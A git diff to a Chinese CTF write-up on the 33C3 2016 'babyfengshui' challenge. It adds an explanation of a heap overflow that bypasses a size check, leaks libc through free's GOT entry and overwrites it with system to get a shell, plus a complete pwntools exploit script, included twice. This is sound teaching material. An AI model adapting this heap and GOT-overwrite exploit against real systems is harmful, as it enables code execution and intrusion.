diff --git a/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md b/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md index 7fc453b..260a0bf 100644 --- a/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md +++ b/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md @@ -2,7 +2,7 @@ - [题目复现](#题目复现) - [题目解析](#题目解析) -- [Exploit](#exploit) +- [漏洞利用](#漏洞利用) - [参考资料](#参考资料) @@ -363,7 +363,73 @@ store 放在 `0x804b080`,当前 user 个数 user_num 放在 `0x804b069`。 然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。 -## Exploit +## 漏洞利用 +所以我们首先添加两个 user,用于绕过检查。第 3 个 user 存放 "/bin/sh"。然后删掉第 1 个 user,并创建一个 description 很长的 user,其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了,我们可以在添加新 user 的时候修改 description 大小,造成堆溢出,并修改第 2 个 user 的 user->desc 为 free@got.plt,从而泄漏出 libc 地址。得到 system 地址后,此时修改第 2 个 user 的 description,其实是修改 free 的 GOT,所以我们将其改成 system@got.plt。最后删除第 3 个 user,触发 system('/bin/sh'),得到 shell。 + +开启 ASLR。Bingo!!! +``` +$ python exp.py +[+] Starting local process './babyfengshui': pid 2269 +[*] system address: 0xf75e23e0 +[*] Switching to interactive mode +$ whoami +firmy +``` + +#### exp +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'}) +elf = ELF('babyfengshui') +libc = ELF('libc-2.19.so') + +def add_user(size, length, text): + io.sendlineafter("Action: ", '0') + io.sendlineafter("description: ", str(size)) + io.sendlineafter("name: ", 'AAAA') + io.sendlineafter("length: ", str(length)) + io.sendlineafter("text: ", text) + +def delete_user(idx): + io.sendlineafter("Action: ", '1') + io.sendlineafter("index: ", str(idx)) + +def display_user(idx): + io.sendlineafter("Action: ", '2') + io.sendlineafter("index: ", str(idx)) + +def update_desc(idx, length, text): + io.sendlineafter("Action: ", '3') + io.sendlineafter("index: ", str(idx)) + io.sendlineafter("length: ", str(length)) + io.sendlineafter("text: ", text) + +if __name__ == "__main__": + add_user(0x80, 0x80, 'AAAA') # 0 + add_user(0x80, 0x80, 'AAAA') # 1 + add_user(0x8, 0x8, '/bin/sh\x00') # 2 + delete_user(0) + + add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0 + + display_user(1) + io.recvuntil("description: ") + free_addr = u32(io.recvn(4)) + system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system']) + log.info("system address: 0x%x" % system_addr) + + update_desc(1, 0x4, p32(system_addr)) + delete_user(2) + + io.interactive() +``` + ## 参考资料 - https://ctftime.org/task/3282 diff --git a/src/writeup/6.1.20_pwn_33c3ctf2016_babyfengshui/exp.py b/src/writeup/6.1.20_pwn_33c3ctf2016_babyfengshui/exp.py new file mode 100644 index 0000000..fe3d95b --- /dev/null +++ b/src/writeup/6.1.20_pwn_33c3ctf2016_babyfengshui/exp.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'}) +elf = ELF('babyfengshui') +libc = ELF('libc-2.19.so') + +def add_user(size, length, text): + io.sendlineafter("Action: ", '0') + io.sendlineafter("description: ", str(size)) + io.sendlineafter("name: ", 'AAAA') + io.sendlineafter("length: ", str(length)) + io.sendlineafter("text: ", text) + +def delete_user(idx): + io.sendlineafter("Action: ", '1') + io.sendlineafter("index: ", str(idx)) + +def display_user(idx): + io.sendlineafter("Action: ", '2') + io.sendlineafter("index: ", str(idx)) + +def update_desc(idx, length, text): + io.sendlineafter("Action: ", '3') + io.sendlineafter("index: ", str(idx)) + io.sendlineafter("length: ", str(length)) + io.sendlineafter("text: ", text) + +if __name__ == "__main__": + add_user(0x80, 0x80, 'AAAA') # 0 + add_user(0x80, 0x80, 'AAAA') # 1 + add_user(0x8, 0x8, '/bin/sh\x00') # 2 + delete_user(0) + + add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0 + + display_user(1) + io.recvuntil("description: ") + free_addr = u32(io.recvn(4)) + system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system']) + log.info("system address: 0x%x" % system_addr) + + update_desc(1, 0x4, p32(system_addr)) + delete_user(2) + + io.interactive()